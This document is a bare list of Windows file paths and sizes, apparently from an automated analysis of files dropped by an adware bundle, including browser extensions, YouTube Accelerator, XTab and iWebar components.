    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\locale\en-US\translations.dtd (429 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\a20747f42c26ca06bea782747260449c.js (28 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\345.js (663 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\195.js (414 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\userCode\background.js (433 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\1216aa4ce265493c7710015960c139ba.js (649 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\7bb10293a14ec2c50daf051f70751885.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\d48e2b7c64ba1c7ea953bd11f2dfa91a.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\ffCoreFilesIndex.txt (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\253.js (741 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\options.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon24.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\userCode\extension.js (31 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\1.js (22 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\98.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon128.png (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\ccf23427904f00525503e9b14042000e.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\d6cca244653ebd7cea9b76f4079d78ea.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\d7667b6bf694360cd9312d6e38da08a0.js (134 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\panelarrow-up.png (921 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\bc57f44abc79fe1c03175c296e788e35.js (22 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\17.js (2473 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon48.png (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\465af905d50af865d601108a4604c272.js (14 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\5ca972076ba3b74288f49a1aeb914f5a.js (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\popup.html (353 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\skin.css (899 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\browser.xul (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button2.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\4cc5557fc500684d475395bf9546157e.js (21 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\9157abfdb5cabdc9967531d1a40d884b.js (357 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\b1c44c488e5ce2ad86bca65164f70adf.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\9.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\9482a2fbfdbb6b5ae8f9196a82deabbd.js (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\102.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\618e23b5603232524862c3b847389b25.js (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\update.css (144 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\1d5b9ade2b38561fbdfd9138273e7a5d.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\391.js (801 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\fab1c383135af2ab63ff2f261cc10fb9.js (12 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\183.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\4b52caf3aac040457643808a884d69a0.js (964 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\354.js (5118 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\288.js (969 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\dialog.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\7fc9b19f6ae221e49d0078acf4527034.js (20 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\189f210423a88662eba7cd233e114809.js (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\64.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\7.js (689 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\07ff8d6a258b7360e3e9246b6434c6db.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\1356cb8679dd34e71f80eb89049f8a59.js (5 bytes)
    C:\ProgramData\YTAHelper\config.json (269 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\overlay.js (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\overlay.xul (203 bytes)
    C:\ProgramData\YTAHelper\yta_database1_0_0.json (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.ini (514 bytes)
    %Program Files% (x86)\YTAHelper\config.json (269 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\install.rdf (884 bytes)
    C:\ProgramData\YTAHelper\YTAHelper.dll (2321 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\config.json (269 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.json (9 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\chrome.manifest (111 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\shopperpro_128.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\yta_database1_0_0.json (2 bytes)
    C:\ProgramData\YTAHelper\YTAHelper64.dll (3073 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\YTAHelper_64.png (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\images\code\code5.jpg (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\quick_searchff#5.4.10.xpi (6360 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\images\checked.png (222 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\eg2.zip (260607 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\images\close.png (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\images\checkbox.png (545 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\tmp\ChromeSync.exe (10136 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\images\scrollbar.bmp (1552 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\tmp\521.db (304 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\images\code\code2.jpg (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\images\button.png (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\uninstallDlg2.xml (784 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\images\code\code4.jpg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\images\code\code3.jpg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\eg1.zip (188451 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\images\code\Thumbs.db (1552 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\images\Thumbs.db (784 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\conf (156 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\QQBrowserFrame.dll (3616 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\images\bk_shadow.png (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\images\loading_bg.png (159 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\images\bg1.png (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\sweetsearch!1.0.0.1031.xpi (15 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\images\code\code6.jpg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\images\button1.png (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\images\bg.png (5064 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\images\unchecked.png (135 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\images\min.png (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\UninstallManager.exe (60186 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\MessageBox.xml (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\images\loading_light.png (139 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\QQBrowser.exe (5199 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\images\checkbox_select.png (783 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\tmp\RegWrite.exe (3312 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\tmp\wpm_v20.0.0.2227.exe (12024 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\tmp\XTab_Setup2253.exe (76078 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\521.json (512 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\tmp\ClearnC.exe (3616 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\images\code\code1.jpg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\DataBase (26688 bytes)
    C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\up[1].htm (1 bytes)
    C:\ProgramData\WindowsMangerProtect\update\conf (1 bytes)
    %Program Files% (x86)\YouTube Accelerator\engine.dll (146 bytes)
    %Program Files% (x86)\YouTube Accelerator\ipc.dll (286 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\config.xml (60 bytes)
    %Program Files% (x86)\YouTube Accelerator\xmldb.dll (192 bytes)
    C:\Windows\Temp\SBC13D3.tmp (547 bytes)
    C:\Windows\Temp\SBCD6C4.tmp (547 bytes)
    %Program Files% (x86)\YouTube Accelerator\helper.dll (200 bytes)
    C:\Windows\Temp\SBC12C.tmp (51193 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_3428_YouTubeAcceleratorService.log (247685 bytes)
    C:\Windows\Temp\SBCFA08.tmp (44 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\va_conf.dat (706 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAcceleratorService_3428.log (591 bytes)
    C:\Windows\Temp\SBCF391.tmp (98 bytes)
    C:\Windows\Temp\SBCFEEA.tmp (44 bytes)
    C:\ProgramData\TEMP:56E2E879 (240 bytes)
    C:\Windows\Temp\SBCFDC0.tmp (98 bytes)
    C:\ProgramData\IHProtectUpDate\update\conf (5 bytes)
    %Program Files% (x86)\XTab\CmdShell.exe (32 bytes)
    %Program Files% (x86)\XTab\msvcp110.dll (536 bytes)
    %Program Files% (x86)\XTab\msvcr110.dll (876 bytes)
    %Program Files% (x86)\iWebar\62de6a4a-4569-4108-bd93-895e0f28cde9-5.exe (7726 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\ipgeoapi_com[1].json (40 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsc166E.tmp\354668 (89639 bytes)
    C:\Windows\Tasks\62de6a4a-4569-4108-bd93-895e0f28cde9-5_user.job (74 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsc166E.tmp\plshuf.dll (13 bytes)
    %Program Files% (x86)\iWebar\utils.exe (72193 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsc166E.tmp\abxbingaf.dll (23 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsc166E.tmp\frhpnmmmq.dll (30 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsc166E.tmp\jwkgq.dll (14 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsc166E.tmp\System.dll (808 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsc166E.tmp\62de6a4a-4569-4108-bd93-895e0f28cde9-4.dll (38103 bytes)
    %Program Files% (x86)\iWebar\62de6a4a-4569-4108-bd93-895e0f28cde9-4.exe (8330 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsc166E.tmp\jpcxiuu.dll (8 bytes)
    %Program Files% (x86)\iWebar\Uninstall.exe (601 bytes)
    %Program Files% (x86)\iWebar\62de6a4a-4569-4108-bd93-895e0f28cde9.xpi (2321 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsc166E.tmp\275663 (1931 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsc166E.tmp\abxqftls.dll (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsc166E.tmp\bjykvuw.dll (3730 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn165E.tmp (607158 bytes)
    C:\Windows\Tasks\62de6a4a-4569-4108-bd93-895e0f28cde9-5.job (74 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsc166E.tmp\edgbnubp.dll (31232 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_3976_testlsp.log_tmp (22 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\wbk128F.tmp (1 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trial_now_accelerating.mht (30 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\wbk1268.tmp (682 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\wbk11A7.tmp (1 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\premium_video_accelerator.mht (38 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\dl_update.mht (30 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\va_off.mht (22 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\helper_3976_testlsp.log_tmp (150 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\itunesmessage.mht (22 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\silenttestsucceeded.mht (22 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\now_accelerating.mht (30 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\hd_disabled.mht (22 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\wbk127C.tmp (1 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\video_accelerator.mht (38 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\exiting.mht (22 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\silenttestfailed.mht (22 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\premium_now_accelerating.mht (30 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\wbk11B9.tmp (1 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\oem_video_accelerator.mht (38 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\blank.html (97 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trial_video_accelerator.mht (38 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\update.mht (31 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAcceleratorService_3428.log_tmp (493 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\SMALLTEST[1].htm (70 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\ipc_3976_testlsp.log_tmp (989 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\test.mht (22 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\wbk128D.tmp (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\wbk1291.tmp (1 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\LspCommTest.zip (255692 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\activation_offline.mht (22 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\noupdates.mht (30 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\wbk1195.tmp (1 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_3428_YouTubeAcceleratorService.log_tmp (50 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trialexp_video_accelerator.mht (38 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAccelerator_2388.log_tmp (14 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\va_on.mht (22 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\olddriver.mht (22 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\tweetmessage.mht (22 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\activation_expired.mht (22 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\restart.mht (22 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\wbk1163.tmp (50 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\acceleration_not_supported.mht (22 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\wbk1257.tmp (242 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\testlsp_3976.log_tmp (815 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\wbk1132.tmp (682 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\wbk1184.tmp (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\wbk1111.tmp (242 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\wbk127A.tmp (50 bytes)
    C:\ProgramData\WindowsMangerProtect\ProtectWindowsManager.exe (2444 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\c68f2d2eb068de4eb4b99d4758c25a2f[1].htm (36439 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.1 (5224 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.0 (5224 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.3 (5224 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.2 (5224 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.5 (5224 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.4 (5224 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.7 (5224 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.6 (5224 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.4-win32.exe.7 (177254 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\eula-istartsurf[1].htm (1059 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\tokyoLightGrayStripesBG[1].jpg (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\eula-swiftrecord[1].htm (4391 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\F391.tmp.5 (4152 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\F391.tmp.7 (4152 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe (71240 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\F391.tmp.4 (4152 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\F391.tmp.3 (4152 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\F391.tmp.2 (4152 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\F391.tmp.1 (4152 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\tokyo_default_logo[1].png (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\eula-youtubeaccelerator[1].htm (2712 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.4-win32.exe.4 (177254 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.4-win32.exe.5 (177254 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.4-win32.exe.6 (177254 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\F391.tmp.0 (4152 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.4-win32.exe.0 (177254 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.4-win32.exe.1 (177254 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.4-win32.exe.2 (177254 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.4-win32.exe.3 (177254 bytes)
